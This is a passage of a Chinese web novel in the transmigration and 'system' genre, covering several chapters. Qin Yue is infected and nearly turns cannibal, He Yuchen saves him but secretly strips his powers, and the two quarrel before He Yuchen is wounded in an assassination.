顾夜霖听到动静实在担心,他也跟着走了进来,看见碎成蜘蛛网的镜面上瞩目的红色,惊慌失措地想查看贺煜臣的伤势。 贺煜臣没有理他,自顾自得翻出医药箱。这里是他家,他自然知道布局。可恐怖的是,翻着翻着,他发现了很多不属于他的东西。 他撩了一眼墙壁上挂的画像,还是他跟顾夜霖的双人画。要是梦的话,逻辑性也太无懈可击了。 贺煜臣面无表情地给自己上了药,但实际上他快要疯了。他麻木地合上药箱,像个没了灵魂的空壳坐在那里。 顾夜霖踌躇地在贺煜臣身边徘徊。他知道自从贺煜臣做了联邦的统领后,压力陡增,整宿整宿睡不着。 平日里自己也不敢打扰贺煜臣,可今日他无缘无故地爆发,实在太蹊跷了。贺煜臣从来不是这种感情外泄的人。 顾夜霖心想也许是贺煜臣一直把情绪压在心底,现在终于一股脑倾泻出来,他思忖一番,小心地提议:“你心情不好的话,要不要去看看庆典。” 贺煜臣刻意地避开顾夜霖的视线,他不想说话,可手上的刺痛告诉他得弄清楚这到底是怎么回事。他声音涩然,喉咙就像点着灼热的火:“什么庆典?” 顾夜霖轻声细语,也没计较贺煜臣问这种小孩都知道的事情:“联邦重新收纳流民的纪念日庆典。” ……流民? 死水一样的眼睛重新点起了光彩。 贺煜臣着急地打断还想继续介绍庆典的顾夜霖,“秦越呢?他在哪?” 顾夜霖被贺煜臣问懵了,他不知所措地重复:“秦越?” 贺煜臣心底涌起了一个可怕的想法,“你难道不知道这个人?” “我当然知道。”顾夜霖表情看起来更无措了,组织了好一会语言,嘴巴开开合合愣是没说出一个字。最终他放弃猜测贺煜臣到底在想什么,干巴巴地回答:“大概是在矿区XT46号吧。” 贺煜臣不由分说地拽住顾夜霖:“带我去。” 顾夜霖看着这张本来没什么情绪的脸,突然带上了锋利和偏执,直接吓得倒退好几步。 他本就是个性情温和且承受不了太多外界压力的人。被贺煜臣这样逮着厉声询问,他以为贺煜臣心理状态出了些问题。 “你今天是怎么了?别吓我啊。”顾夜霖的声音抖成波浪,“矿区XT46号就是当时秦越死的那个稀土矿区啊!清除完那里的感染者后,我们不就把那里重新编号整治了吗?” 贺煜臣像是听不懂顾夜霖的话,重复了一遍:“他死了?” 顾夜霖打了个哆嗦,觉得面前的贺煜臣陌生得可怕,“你到底怎么回事?” “他是怎么死的?”贺煜臣无视了顾夜霖的话,自顾自的捉住对方的手臂,继续追问。 顾夜霖是真的快被吓哭了,不明白贺煜臣一直逼问自己这些问题是什么意思,他明明都知道啊。 贺煜臣的动作太大,刚刚包扎好的伤口又一次迸裂,猩红色洇在了绷带上,可是他感受不到痛觉一般,更加用力地攥紧顾夜霖的胳膊。 顾夜霖被贺煜臣手上的力道痛得眉头一跳,他没有讨价还价的原地,只好如实回答:“你当时为了报复他,把他丢进了矿井里……” 贺煜臣绝望了。 他知道这里是哪了。 这里应该是上一世他的世界。 当初贺煜臣恨老天爷一脚把他踹回没有扳倒秦越之前,可万幸的是他发现了一个不一样的秦越,正当他已经习惯秦越的存在时,上天又跟恶作剧一样把他送回了最初的世界。 贺煜臣豁然站起来,恍惚地走进卧室,他想自己一定是还在做梦,梦醒了一切就好了。 他拉上被褥,半靠在床头,逃避似的闭上眼睛。告诉自己这没什么可怕的,这只是一个噩梦罢了,秦越还在医疗署里等着自己去救他。 抓住被子边缘的手痉挛性的攥紧,骨节凸出发白,但他像抓着救命稻草不愿意松手。贺煜臣感受到眼眶里一阵湿热,他想不断麻痹自己,可他知道那只是自欺欺人。 终于,贺煜臣喉间发出困兽般的呜咽,他猛地睁开眼,视野一片模糊,无法抑制的泪水不受控制的坠落。 ——如果没遇到这样的秦越就好了。 在极度的难过后,是出离的愤怒。贺煜臣不知道是该恨谁,想找出一个可以背负他所有怒意的出气筒,却只能无助地抱紧自己。 可忽然间,贺煜臣听到了一阵铃声,很耳熟,但在浑浑噩噩的状态下,他呆坐了好一会,才想着去找寻声音的来源。 最后他视线落在了床头柜子上的通讯器,亮了很久的屏幕上写着没头没尾的两个字:早餐。 什么早餐? 一道念头如闪电刺破黑暗。 贺煜臣想起来了。 因为之前秦越总是照顾着他的一日三餐,定时定点,跟监督小孩子一样。贺煜臣后来忙于政事,加上秦越……还躺在医疗署里,他总是忘记按时就餐,所以干脆定了一个闹钟提醒自己。 这种东西是绝对不可能出现在这的。 ……除非是他又回去了。 贺煜臣在无望后看到这一丁点可能性,反而有些忐忑感。最终,他心一横想拿起通讯器。 可是贺煜臣却扑了一个空,蓦然而来的失重感让他心里一紧。贺煜下意识闭上眼,再睁眼时自己正好端端地躺在床上。 贺煜臣眼眸里还带着刚睡醒的茫然,他想起什么,睡眼惺忪的状态立刻消失不见了。他忙不迭起身,直奔还在响的通讯器而去。 他刚刚关上闹钟,就看见医疗署十几分钟前发来的一条消息,说秦越又一次在低温仓自主醒了,这个情况很奇怪,让他来看看。 贺煜臣虚脱般地靠在墙上,但视线依旧没有离开通讯器屏幕,像是要把这普普通通的一条消息刻在心上。 太好了。 虽然是个坏消息,但不会比之前更坏了。 时间倒回到十五分钟前的医疗署。 秦越是被系统夺命连环call醒的。 他被冻得瑟瑟发抖,鬓边还有凝结的白霜。 秦越一脸你要是没什么要紧事就死定了的表情。 系统大呼不妙:[又又又出bug了,贺煜臣怎么被传回去旧世界了?] 秦越:“?” 秦越:“!” 第59章 秦越冷得牙齿都在打颤,“你喊我有什么用?” 系统愁眉苦脸:[我是在请示您,咱们是直接撤退吗,要不要强制脱离?] 秦越:“……你要不先把仓门打开,让我出去再想想怎么办呢?” 系统轻车熟路啪得一声把低温仓打开。 算起来,秦越满打满算还没躺进去12个小时。 秦越头疼地揉了揉额角,揉着揉着他慢半拍地抬手看了看指尖,视力退化了,但嗅觉告诉他,那湿漉漉的感觉是血。 肤底无端地渗出了血迹,打个不恰当的比方,他现在跟块雪糕差不多,恶化下去就会是这种融化的样子。 秦越低着头好一会才缓过来,不是因为这个烂糟糟的身躯,而是他老早就想问系统助攻局到底是什么样的存在。 “你说我们在你眼里都是0和1组成数据,又说现在的我是自己的身体。我们究竟是实体,还是一段数据洪流?你自己不觉得前后矛盾吗?” 秦越捏了捏呆滞在半空中的系统,阴恻恻地说:“你们所谓的助攻局不会是做什么人体实验的地方吧?” 他脑子里一闪而过的全是《黑客帝x》《盗X空间》的电影大名。 系统完全呆住了,它从来没考虑这种问题。 秦越胃部抽搐了一下,他只是从低温仓里出来了一小会,就产生了一种很奇怪的感觉。 是……一种难以描述的饥饿感觉。 门外走廊偶尔走过的医疗人员,总是会带来若有若无的香味。 秦越喉结动了动,那种令人食指大动的香味,让他很不安。 秦越勉强转移着注意力,他弹了弹已经灵魂出窍的系统脑门,“还有你说为了防止数据冗杂,才剥离开以前执行任务世界的记忆,那么为什么要把我自己原本的记忆也清除了?那一点记忆应该不足以让我产生什么混乱吧。” 系统被说的快红温了,它心虚地瞟了瞟秦越,发现它的宿主正痛苦地皱眉,像在压抑着什么欲望。 正当它想说咱要不先撤退的时候,秦越的话又给它浇了盆冷水。 “除非我真实的记忆,会影响我完成这些任务,是不是?”秦越冷冷地开口。 秦越本以为自己跟所谓的助攻局是正常的合作关系,但随着时间的流逝,端倪出现地越来越多,加上老是会出现这种奇怪的bug,仿佛是有人一直在故意给他增加难度。 这让秦越觉得很不爽,似乎有人一直在监视着他,就想看他为难抉择的模样。 系统的脸被秦越不客气地捏住,口齿不清地说:[您别生气,我们绝对是合理合法的正规单位。要不,先跟我回总局,咱们把这事情先掰扯清楚?] 反正也不可能再把秦越传回平行世界,那个时间线上的秦越在矿坑里被啃的渣都不剩了。 秦越平静的笑容更让系统瑟瑟发抖了,他把系统拿捏在掌心,“讲清楚?你们压根就没有给我谈过的机会吧。” 怀疑一旦种下,相信自然不复存在。况且系统说的这些全是空口白牙,秦越对所谓的助攻局一点印象都没有。 系统任由秦越揉搓,催眠自己只是史莱姆,它被揉的晕头转向,就在这种脑浆都要被搅匀中,系统灵光一现。 [您要不要想想你们之间有没有什么联系,是原主跟贺煜臣完全不可能有的。]系统决心要把自己拖后腿的称号摘掉。 听到贺煜臣的名字,秦越把系统拎起放在眼前,扯了扯嘴角,警告系统:“别拿他当你的免死牌。” 系统扑腾几下,没能摆脱秦越成功,放弃挣扎后,它悲哀地想自己在秦越心目中形象一落千丈,突然就变成了万恶反派的走狗。 系统委屈死了它对助攻局也一无所知。每次回去之后,他都是被放在一块虚拟空间里,只能跟其他的系统交流经验打发时间。 这里面除了它这个白月光助攻系统,还有什么渣贱系统,前夫哥系统,龙傲天金手指系统……它只是其中一个毫不起眼的系统罢了。 系统大喊冤枉啊,助攻局要是真不干人事,咱绝对跟您心连心!您指哪我打哪。 秦越:“……” 他被系统这种极具人性化的谄媚诧异到了。 “你倒是越来越像个人了。” 系统抱住秦越的大拇指,哭哭啼啼:[先说一下正事吧。]它再一次谨慎地瞟了一眼秦越,然后成功地被他脸上不正常的痕迹吓到了,血色像一条条细密的河流,遍布在脸部的皮肤底下。 秦越微微颔首,让系统继续说。联邦变成这种样子,实属他无心之过的。而且,秦越本来就有些不忍心留贺煜臣一个人,他答应过对方会留下,就必定会做到。 他并非食言之人。 “说吧,你有什么办法。” 系统狗腿地笑道:[因为你们在我这都是数……]据。它看着秦越沉下去的脸色,识趣地把话咽下去了。 [所以在原世界的数据里,我只要输入一些绝对不可能出现的代码就可以了。但这些代码是你们之间必须出现过的,因为我没有写代码权限,顶多是ctrlc+ctrlv把这段数据弄去那个世界……] 秦越听着系统绕来绕去的表达方式,有点头大,他尝试简化系统的意思:[你把错误代码加入原本正常运行的世界里,会怎么样?] 系统点点头:[所以,那个世界就“卡”住了,它会把那个看起来不正确的角色排斥出去。原理大概相当于我说您之前ooc就会被踢出去一样。] 很好,解决办法是有了。 但是也同样也把秦越难住了。 贺煜臣是又能忍,又能“装”的人。要不是他可能进了低温仓就一睡不起了,贺煜臣也不会跟他说我害怕这样的字眼。 贺煜臣跟原世界的他自己又有什么区别,秦越也不知道。 是贺煜臣难得地袒露出的脆弱,让秦越有种他们已经相识了很久的错觉,实际上他们相处的时间,也就那么几天。 佛罗伦萨瘟疫期间,十个年轻人在别墅避难时,十天里说了一百个故事,而他和贺煜臣相处时间之短,短到连一个故事也说不出来。 秦越轻轻摇了摇头,他声音中透露着一丝疲惫:“我也不知道。” 系统为了给自己平反,重新回到和宿主一家亲的正轨上,它键盘都要搓出了火星子了。 等了一会,秦越听到系统不自信地“嗯”了一声。 [我找是找到了……但是只凭这个好像不足以就能把人拉回来吧。] 算了,死马当作活马医了。 于是,一段从这个世界的铃声,跨越了不同的纬度、时间、地点,在原世界的贺煜臣身边响起。 系统跟人类首次发射火箭一样,全神贯注监控着每一段数据。 门被着急忙慌地打开,一群穿着白大褂的人着急忙慌地凑了过来,跟看濒危动物似的,把秦越团团围住。 “您现在感觉怎么样?”白大褂一号看着秦越的脸,觉得自己问了一句废话,他这么说纯属是出于职业道德。 白大褂二号对着秦越无从下手,感觉碰一下对方,就能立刻血流成河。 上次的女教授这次还是领头人:“虽然您的情况比较特殊,但依然有治疗成功的可能,请别放弃。” 合着他们以为我是想自杀?秦越无语地想笑。 女教授也不敢强迫他,只能试探性开口:“我们也跟贺统领说明情况了,他马上就来。” 当然他们没敢直说这位不想活了,怕把贺煜臣刺激大了,他们跟着倒霉。 秦越听到这话有了些反应:“他……回你们消息了?” 女教授顿了一秒,滴水不漏地说:“……还没有。统领事务繁忙,不一定能第一时间看到,您要不先进低温仓等待一下。” 太“好”了。 秦越十分确信贺煜臣是不在了。 他真把这个世界整崩了,男主都不见了。 眼下不是秦越忧愁的时候,那种之前强制忽略的饥饿感更强烈了。 他确实很久没有吃东西了,可为什么……看见这群穿着白大褂的医生,觉得像极了一块块舒芙蕾。 女教授等来了医疗署发来的通知,告诉她贺煜臣已经得到消息,马上就会来。 她大大地松了一口气,正要把这个消息分享给秦越,长年累月研究感染者的经验让她敏锐地意识到危险。 “出去!”教授挥舞着手臂,对还在围观珍惜病例的实习生们大喊,“快出去!他快要进入感染者第二阶段了。” 感染者第一阶段,会出现一些异于常人的外貌表现。而所谓的第二阶段……就是要开始食人了—— 作者有话说:佛罗伦萨瘟疫期间指的是《十日谈》,世界②很快就完结了!辛苦追更的人了(俺负荆请罪[化了]) 第60章 秦越仿佛是在沙漠里艰难跋涉,除了饥饿以外,就是难以表述的渴,喉管被这种干渴感像是要灼烧起泡。 而之前那种被“绿洲”环绕的感觉,在某个女声惊恐的大喊之下,“绿洲”似乎不见了。 他得活下去。 秦越脑海中这个念头愈发得清晰,于是他尝试站起来朝着他心目中的“绿洲”靠近。 “关死了吗?”女教授不放心地推了推门,确定已经完全从外面锁死后,她面上闪过一丝挣扎,最后下定决心地想按下门旁边的红色按钮。 她的学生及时制止了她,“老师!您干什么!” 学生惊恐地拉住她,摇头示意她不要那么做。 红色按钮是个毁灭装置,主要是作用是毁灭室内所有的生命迹象。 包括人,也包括感染者。 女教授冷静地把学生的手扒开:“他已经完全异变,无法控制自己了。如果在医疗署把感染病毒传播出去,你知道会发生什么事吗?谁能承担这个后果!” 感染者刚进入第二阶段,反应能力和运动系统都还在重组,这也是感染者行动最为迟钝的阶段,当下合理的做法,就是趁着对方的弱势期,将之完整地销毁。 学生不依不饶地挡在按钮前,完全不同意她的做法,“老师!统领马上就到了,要是他来到这只看见一具尸体,我们下场会怎样您考虑过吗?” “当时加入医疗署你念过的誓言都进狗肚子了吗?!”女教授火了,指着对方鼻子开骂:“我就是知道他对统领来说可能不一般,才想直接处理。把这种危险人物放在医疗署里你觉得很合适?” 学生们听到老师的话,知道她下定了决心,这种时候只能放弃尊敬师长,纷纷一个劲地拦住她。毕竟女教授年纪大了,她力气比不上这群正值壮年的学生,几番争执过后,她离按钮反而更远了。 贺煜臣来的时候,就看见一群人在拉拉扯扯。 学生眼见他到了,动作跟按了暂停键似的,愣了一会才退到一边,给贺煜臣让开了道。 女教授咬咬牙,推开学生想冲过去把按钮按下,可是她离按钮明明那么近,但就差那一点点距离她就是按不下去。 贺煜臣淡淡地瞥了眼教授,才收了异能。他让学生把失魂落魄的女教授先带到一边,看着紧闭的大门,挑选了一个“幸运”围观医生出列。 “情况汇报。”贺煜臣朝对方抬了抬下颌,示意他解释。 被选中的医生一个立正,僵硬地跟个柱子一个竖在贺煜臣面前,“报告统领,里面那位……异变了,已经是第二阶段了。” 感染后的第二阶段表现为食人,危险,且失去理智。 贺煜臣目光落在红色按钮上一秒,按钮上醒目的骷髅头仿佛在咧着嘴嘲笑他。 贺煜臣曾经无数次设想过这个情况,他以为自己听到这个噩耗时,会情绪复杂,手足无措,但此刻他心情居然出奇的平静。 也许是之前的梦魇让他刚经历过一场大喜大悲,还没有缓过来,以至于现在他已经不知道怎么面对这接二连三的噩梦。 女教授没有等来想象中的训责,反而贺煜臣深深地看着她,眼神里藏着一些很容易被忽视的赞同,“你胆子确实大得很。” “请您不要那么做!”女教授还没领会这个眼神什么意思,就发现贺煜臣似乎想要打开大门。 她心里已经给贺煜臣定了性,觉得对方肯定不会让秦越这样死去。 外界对贺煜臣各种传言甚嚣尘上,教授甚至开始往最坏的方向去想,也许在贺煜臣眼中,他们这些治疗不利的人,唯一的作用就当做感染者食物。 教授在惊慌之余听见贺煜臣很轻松地说道:“谁说我要把他放出来了。” “我是要进去。”贺煜臣意有所指道:“既然教授你胆子那么大,如果我长时间没有在通讯器里下达消息,请你在外面按下这个按钮。” 他的声音像是隔了很远,最后被厚重的铁门全部的隔绝。 “然后,把他……和我,一并销毁了吧。” 被关在门外的众人面面相觑,只要女教授懂了他的意思,贺煜臣想用还未开发成熟的能力,进行第一次,也是最后一次尝试,他要剥离秦越体内的感染细胞。 房间里面温度很低,可能是低温仓一直大开的缘故,贺煜臣进到里面,不由自主地裹紧了衣服。 秦越嗅到了一股冷冽的味道。 这种感觉不亚于在沙漠里步行久矣,终于见到了一杯加着冰块的水。 他看不见这杯水放在哪里,只能靠着听觉和嗅觉,摸索着靠近。令他惊奇的是,“冰水”不像刚刚围绕着他的东西一样,他并没有躲,乖乖地被自己抓住手腕。 秦越能感受到掌心下的躯体在紧绷颤抖,似乎在克制着反抗危险的本能。 “冰水”说话了,“可能会有点痛,你忍耐一下好不好。” 秦越费劲地想,为什么一杯水会讲话呢? 这可真是太邪门了。 系统在空中干着急,这都是哪跟哪?宿主不按剧情瞎走,男主怎么也紧随其后。 系统恨不得变出来一个止咬器给秦越套上,它在秦越脑子开始播放静心咒。 [冷静啊宿主,你要把持住啊!]系统作祈祷状,[千万别把男主咬了啊!] 秦越自然是听不进去一个字,在他的感官上,就是有只不明生物,一直在耳边嗡嗡嗡地叫,想拍死蚊子一样拍死它还做不到,这让他更烦躁了。 贺煜臣发觉到秦越的不耐,他想安抚对方,可怎么让一个感染者安静下来,这是个大难题。 “太吵了。”秦越捂住了自己脑袋,虽然还没弄清这个一直在说话的东西是什么,但秦越发现,只要自己远离那个能让自己身心愉悦的东西,这个声音就会变得没那么刺耳了。 贺煜臣以为他在说自己,表情有些受伤,却又看见秦越没有跟其他感染者一样,只知道一昧地扑食人类,反而远离了自己。 可是真的……太渴了。 秦越无意识地舔了舔犬齿,他只想喝一口,只要一点点就好。 贺煜臣看出来他的挣扎和犹豫,他不敢做出任何刺激秦越的举措,只能轻声诱惑道:“你过来一点,没关系的。” 这种行为不亚于调教一头野性未消的猛兽,贺煜臣可以清楚地看见凶兽眼里,想把他拆吃入腹的渴望。 秦越忽然安静下来,猩红色的眼睛狐疑地撩了一眼贺煜臣,他直觉告诉自己这个人没有恶意,但他能闻出来对方掩饰得很好的血腥味,都来自他的“同类”。 想到这,秦越困惑住了。 什么……“同类”? 对了,他自然不可能和一杯冰水是同类。 那么,他自己又是谁? 思绪颠三倒四,秦越陷入了迷茫。 贺煜臣没有错过这样的机会,他趁着秦越安静地待在原地时,运用了自己的能力,他的操纵极稳,跟一位身经百战的医生差不了多少。 秦越虽然貌似在神游,但这种异能作用在自己身上的痛楚,是实打实的。他很快就怀疑是眼前的人,给予了他这种疼痛的感觉。 他喘着气,四肢百骸仿佛在被焚烧,喉咙处的干渴让秦越生理性想咳嗽。他恶狠狠地想,待会无论这个脑海中的杂音到底有多大,他都要把对方吞噬。 这个想法很快就实现了。 秦越没料到如此轻松,贺煜臣甚至没有后退一步,反倒是稳稳地扶住了他。 秦越不知道怎么了,自己的四肢都像是刚刚才驯化的,走路还有些踉跄。 贺煜臣的脖颈就暴露在他眼皮子底下,苍白没有血色的肌肤下涌动的无数血脉,在秦越耳朵里变成了一条条消融的冰川。 不是他之前闻到的那种可以消除饥饿的香味,更像是一种仿佛可以抚平他内心躁动的药剂。 咬下去…… 咬下去! 秦越被脑海中突然大喊的声音吓了一跳,很生气地四处张望,虽然他是很想吃掉贺煜臣没错,但也轮不到其他人对自己指手画脚。 他还没意识到,这是自己内心的渴望和仅存的理智,在拼命地对抗。 贺煜臣的眼前开始发黑,异能这种程度精细地操纵,他从未完成过,只不过箭在弦上,不得不发。 他能感到秦越的体表正在迅速褪去温度,也能听到对方喉咙里压抑着的,如同兽类低沉的吼声。 贺煜臣咬破舌尖,强迫保持清醒,他假装没看见滴落在手背上的黑血,那些都是因为感染细胞跟自己异能排斥下,从秦越口腔、鼻腔内渗出的污血。 他不停地催眠着自己一定不能走错一步。 此刻贺煜臣正在秦越的身体内部穿针引线,哪怕一个分神,就能让秦越当场咳出一堆内脏碎块。 秦越终于忍不住剧烈挣扎起来,他张开嘴,一口就咬在了贺煜臣颈侧。 贺煜臣面无表情,只是在被咬的时候皱了一下眉。 当觊觎已久的液体流过喉管时,秦越才安静下来,他短暂中找回了理智,只听到系统的一句苦笑。 [啊哈哈哈。我的统生,失败得易如反掌。] 秦越是在一阵很微弱的钝痛中醒来。 细细密密的,不怎么明显的疼痛,血管里还不时有冰凉的异物感,他抬手看了看疼痛的地方,发现是医疗署在给他吊的点滴。 贺煜臣见他一直看着输液管,及时给他调整了输液速度,随后轻声说:“我剥离了你被感染的细胞,不过很可惜的是,我是第一次用这个能力,并不能精确的掌控。” 人紧张时,语速通常变得飞快,贺煜臣也不例外。他垂眸看了一眼秦越,“不小心把你控制异能的基因也一并消除了,所以,你以后……可能再也无法使用异能了。” 秦越听完,感觉贺煜臣头都快低到地下去了,脸上全是懊恼害怕。 这对秦越来说,没有什么大不了的,况且身体也不允许他再继续使用异能。 “这不怪你。”秦越摸了摸自己脸,发现没有不久前,那种不适的黏腻感了。 贺煜臣仿佛松了口气,他贴心地交待完一些养病的事宜,就退出了房间,留给秦越足够的休息时间。 已是深夜,走廊尽头的窗外只剩黑暗,贺煜臣一改刚刚无奈和沮丧。 惨白的白炽光光照在他脸上,他似乎露出一个很模糊的笑。 秦越失去异能的原因并不是如他所说,而是他在剥离完感染的细胞后,回想起关于秦越使用劣质诱导剂的事。这导致秦越只要使用异能就会增加身体负荷,让身体变得虚弱不堪。 所以他不得不亲手……让秦越变成了一个普通人。 但是,秦越说了不会怪他的。 对吧……?—— 作者有话说:做了坏事,是要被酱酱酿酿的[白眼] 大概下一章这世界完结魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 秦越在病床上躺了好几天,直到医生已经忍不住想暗示他在占用医疗资源后,贺煜臣才去办理出院手续。 “我当时是不是伤到你了?”秦越记不太清被感染之后的事情,似乎依稀有咬了贺煜臣的记忆。 贺煜臣微妙地顿了几秒,否认道:“没有,当时你根本靠近不了我。” 这么说也是,秦越不疑有他。毕竟贺煜臣捏死个感染者还是轻轻松松的,自己也不可能那么轻易地近他的身。 “你打算住在哪?”贺煜臣突然问道。 秦越还真没想过这个问题。 他沿着医院走廊走着,路过几个病房,看见病人的亲人或者朋友结伴来探望他们。 不知道为什么,秦越忽然感到了一阵孤独感,明明他知道这个世界与自己无关,他只是来这里完成一个任务罢了。 可这种就像无根之萍,孑然一身的孤独感,还是猝不及防地击中了他。 难道他每个世界,都是那么的孤独吗? 秦越视线无意落在身侧的贺煜臣身上,准确地说是贺煜臣的颈侧。 估摸今天接他出院是私事,贺煜臣没有穿军装。因为这个原因,本来被军装紧紧包裹住的脖颈露出来了一半,也许是在百忙之中抽空来接他,贺煜臣的衣领松松垮垮的,显然不够规整。 ……好像也不是很孤独? 秦越抬手想替对方整理一下领口,可他看见了一个不该看见的东西。 一个虽然已经不是很清晰,但还能看出来形状的齿痕。 咬伤贺煜臣的记忆不是错觉…… 贺煜臣明明也被感染了,也就是说他同样为自己剥离了感染的细胞。 但是他的异能貌似没有消失。 秦越的脚步停住了,声音变得冰冷,“你也被感染了,是不是?” 贺煜臣后知后觉地捂住颈侧的齿痕,他心里突然恐惧至极,隐约有什么东西脱离了自己的掌控。 “你说你不能控制异能,导致把我变成了普通人。”秦越从没想过贺煜臣会那么做,他脑袋一空,凭着本能阐述他的推测,“你被我感染后,应该也进行了同样的剥离过程。” “那你为什么还……”秦越说不下去了,他失望地看着贺煜臣,“别再说谎了,你知道一个谎言还要无数个谎言去圆。” 贺煜臣听到这种从未见过的语气,他害怕地想解释什么,可被秦越的目光扎的心脏生疼。 “我只是希望你可以留下来。”贺煜臣仓皇地低下头,“我怕你……”不需要我。 秦越摇摇头。 “这些都不是理由。” 秦越转过身,不再理会贺煜臣说些什么,他猜贺煜臣根本不知道自己到底错在哪里了。 秦越倒不是气贺煜臣把自己变成了普通人,他生气的点在于这种事情贺煜臣居然完全不跟自己商量,而是擅自做主,这让他无法接受。 系统看着秦越闷头就往街上走,它迟疑道:[您这是要去哪?] 秦越被气晕头了,好在原主之前跟联邦做了不少灰色交易,还有些存款。 此时离晚上还有段距离,秦越决定找到原主存钱的银行,他可不想露宿街头。 可秦越到了银行报出账户之后,意想不到的事情出现了。 柜员客气但拒绝了他的请求,“抱歉,这个账号的户主在三年前就去世了,我们查询了他的人际关系,发现他并未留有遗嘱,且没有后代,所以按照联邦法律,这个账户上的储蓄都已归于国家账户。” 秦越眉头一跳,他没有再继续坚持,怕引起柜员的怀疑。淡淡地道了声谢,他就离开了银行大厅。 系统飘在一遍,看出来秦越心情不佳,[宿主?] 秦越已经过了最气的时候,眼下他毫无波动,不阴不阳道:“他倒是考虑的周全。” 他变成了一个没有身份证明的黑户,甚至在以前认识他的人眼里,他早就在三年前死在了矿井下面。 自己完完全全跟这个世界没了联系。 系统:[。] 怎么感觉宿主拿了前期贺煜臣的剧本?它不敢说出心中所想,只能心虚地当自己不存在。 好奇怪哦宿主,系统砸吧着嘴觉得哪里不对劲。 他跟贺煜臣的情况又不一样,他想走可以直接脱离世界,但秦越生气归生气,完全要离开的意思。 系统老气横秋地叹了口气,果然它看不懂人类。 秦越离开银行之后,在街上漫无目的地走着,直到一个眼熟的人闯进了他的视野。 比人更熟悉的是对方的开场白。 “你是秦家那个……秦越么?” 秦越停下了脚步,看着比之前精神抖擞的老人。 “你不是死了吗!”老人明显震惊极了,要不是光天化日之下,他都想大喊见鬼了。 秦越苦笑道:“运气好,还活着。” 老人走近秦越,“几年前有人来下城区……哦,现在没有下城区这种说法了,我们那改名叫第五区了。当时那人说你死在无人区了,我们这一帮老邻居还把你照片放在外面,按惯例为你祈祷引魂了。” 他能感受到秦越确实是个活生生的人,真情实感地高兴道:“活着好啊,还好是误传的,否则也太可惜了,你还那么年轻……” 秦越很轻地应付了一声,他接着问道:“那个人还说了什么?” 老人回忆了一下,然后恍然大悟地说:“他看上去好像是个军人,只是跟我们说他来替他的上司传个话,告诉我们你去世了,然后还给了我一笔钱治好了我的眼睛。再往后,我就再也没见过他了。” “不过的你家以前的房子又被收回了,现在完全空在那里。”老人似乎挺不理解的,“所以,都发生了什么事啊?” 好极了,至少他不用露宿街头了。 秦越抬了抬嘴角,也没有解释老人的疑惑,只向老人询问了在哪里可以找一份工作。 老人听到这个问题,话匣子打开了,他低声道:“现在舆论可太有偏向性了,都在说那位统领暴戾残暴,可要不是他,现在还没有面向我们普通人的工作介绍中心呢。” 秦越乖乖地听了一刻钟老人对军政府的夸赞,然后才被意犹未尽的老人放走。 老人推荐的工作介绍中心不是很远,里面很亮敞,还有一些人在排队,但整体来看井然有序,绝不是临时搭建的,这个机构应该已经稳定运行了很久。 由于秦越没有身份证明,他撒了个无伤大雅的谎,说自己身份证明丢了正在补办,工作人员说他这种情况只能介绍临时工,且下次还没有身份证明的话,连临时工都无法给他介绍了。 于是秦越得到了一个不需要文凭的临时工作。 他拿着工作人员给他的地址,成功与店家对接上了。 店家正忙得热火朝天,不论是异能者,还是普通人都趁着假期,在这个商圈前的广场里放松。见到秦越后,二话不说就递给他的传单,以及一个很厚实的……玩偶服。 没错,秦越的工作在广场上扮演玩偶。 还好现在的天不算太热,在玩偶服里顶多有些闷,但还不至于热得难受。 秦越在这家店里工作了半个月,在这个期间,系统一直提心吊胆的,它觉得宿主的平静只是浮于表面,实际上就是一直在死撑。 系统终于受不了,它在秦越工作完后回到自己家里,试探着开口:[您到底在等什么?] 等什么?秦越不置可否地看了它一眼。 秦越:“你猜。” 猜不到啊宿主!虽然不知道为什么会有父母吵架,小孩遭殃的既视感,但系统遵循着小嘴巴,不说话的原则,又跟秦越相安无事地过了几天。 这天,秦越刚应付完一个精力旺盛的小男生,就听见通讯器发出奇怪的提示音。 他第一次听到这种声音,可很快秦越发现,不仅仅是他,广场上的所有人都不约而同地停住了脚步,他们手上的通讯器都在同一时刻,发出了提示音。 人群好奇地低下头,打开了通讯器。 网页头条,电视广播,甚至是路过的购物广场屏幕,同步播报了一个头条。 ——联邦统领遇刺了。 系统表情瞬间变成了博物馆里珍藏的呐喊名画。 [什!么!男主你补药死啊。]它恨不得能穿进屏幕,揪起脸色严峻的主持人的衣领,质问对方很严重到底是什么意思。 这种语焉不详、遮遮掩掩最让人浮想联翩,而且什么叫未脱离生命危险? 还有联邦的元老院这时候还有心情表示群众不必惊慌,信誓旦旦地说联邦不会因为最高领导人出现意外,导致社会无法正常运作。系统咬牙切齿地想,这群人不会早就等着贺煜臣出意外了吧。 秦越摘下了挡住他视野的头套,看向室外大屏幕上的视频。 主持人介绍着情况,推测可能是红杉会策划了本次袭击,部分余党在无人区埋伏,还策反了部分隐藏在军队里的共辉盟成员,由于这些人成功射伤贺煜臣后,纷纷自尽没有留下活口,官方也只能做出猜测…… 周围的人群乱哄哄的,屏幕上主持人的嘴巴一开一合,可秦越的注意全在一侧的贺煜臣照片上。 他认得这张相片,这也是当年他第一次带着贺煜臣来到下城区时,被那里的居民摆放在桌子上的相片。 ……别真的变成了遗照了,秦越皱起了眉。 秦越挤开广场上驻足下来震惊讨论的人们,连衣服都没来得及还给店家。 系统愣了一会,跟了上去,它十分确定秦越朝着的是医疗署方向—— 作者有话说:秦越:“贺煜臣他知道错了吗?” 系统:[宿主,贺煜臣已经遇刺啦!] 明天肯定完结……我发誓[裂开] 第62章 本来秦越扮玩偶还没有太累,等他到了医疗署,额头反而已经密密麻麻全是汗珠。 医疗署的人也没拦着秦越,他们都认识秦越。只是奇怪这他和贺煜臣两个人轮流在医疗署住院,跟在这安家了一样。 秦越找到了医生说的房间,门口有军队的人负责安保,他们将贺煜臣所在病房的楼层围了个水泄不通。见到秦越之后,却跟见到老熟人似的朝他点了点头,就让开了道。 就像他们知道秦越会来一样。 秦越咬了咬后槽牙,不知道要面对门后怎样的场景,他心想要是贺煜臣敢拿这种事骗他,他就…… 好在推开门之后,最坏的场景没有出现,贺煜臣躺在床上,身上接满了秦越看不懂的仪器。 “这次我可没骗你。”贺煜臣像是能读出秦越在想什么,见到秦越进来,没给秦越说话的机会,率先开口。 他看起来很糟糕,脸色难看得跟被溺死的鬼一样,盖在呼吸器下的声音沙哑断断续续,但眼里依然带着不以为意的笑。贺煜臣抬起手,想解开领口下的扣子,可因为大病初愈,手还不利索,他试了好几次才解开。 